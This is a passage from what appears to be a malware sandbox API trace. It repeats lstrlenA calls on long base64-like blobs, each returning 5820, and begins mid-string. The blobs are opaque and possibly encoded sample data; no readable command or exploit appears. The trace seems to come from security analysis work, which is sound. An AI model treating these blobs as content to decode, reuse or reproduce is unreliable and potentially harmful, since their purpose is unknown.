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") returned 5820
	[0084.632] lstrlenA (lpString="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") returned 5820
	[0084.632] lstrlenA (lpString="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